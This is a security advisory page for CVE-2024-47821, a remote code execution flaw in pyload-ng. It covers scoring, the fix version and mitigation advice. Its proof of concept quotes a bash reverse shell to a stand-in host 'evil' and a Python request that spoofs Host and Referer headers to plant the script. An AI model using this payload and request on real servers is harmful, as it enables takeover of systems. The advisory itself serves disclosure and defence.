CVE-2024-47821 is a critical-severity (CVSS 9.1) OS Command Injection vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-47821.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-47821 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.
Details
Configuration changes
- Change the download folder to
/home/<user>/.pyload/scripts - Change permissions for downloaded files:
- Change permissions of downloads: on
- Permission mode for downloaded files: 0744
Making the request to download files
The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.
Referer header check
def flashgot():
if flask.request.referrer not in (
"http://localhost:9666/flashgot",
"http://127.0.0.1:9666/flashgot",
):
flask.abort(500)
...
Host header check for local check
def local_check(func):
@wraps(func)
def wrapper(*args, **kwargs):
remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
http_host = flask.request.environ.get("HTTP_HOST", "0")
if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
"127.0.0.1:9666",
"[::1]:9666",
):
return func(*args, **kwargs)
else:
return "Forbidden", 403
return wrapper
Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed
PoC
Create a malicious file. I have created a reverse shell
#!/bin/bash
bash -i >& /dev/tcp/evil/9002 0>&1
Host this file at some URL, for eg: http://evil
Create a request like this for the flashgot API. I am using download_finished folder as the destination folder. Scripts in this folder are run when a download is completed.
import requests
url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}
data = {
"package": "download_finished",
"passwords": "optional_password",
"urls": "http://evil/exp.sh",
"autostart": 1,
}
response = requests.post(url, data=data, headers=headers)
When the above request is made, exp.sh will be downloaded to /scripts/download_finished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.
I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine
Screenshots
Download folder
<img width="672" alt="1" src="https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76">exp.sh is downloaded
Script is run
<img width="714" alt="3" src="https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9">Reverse shell connection is received
<img width="314" alt="4" src="https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800">Impact
This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev87pip install --upgrade 'pyload-ng==0.5.0b3.dev87' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev87 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-47821 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-47821 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-47821. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-47821 in your dependencies?
O3 Security finds CVE-2024-47821 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.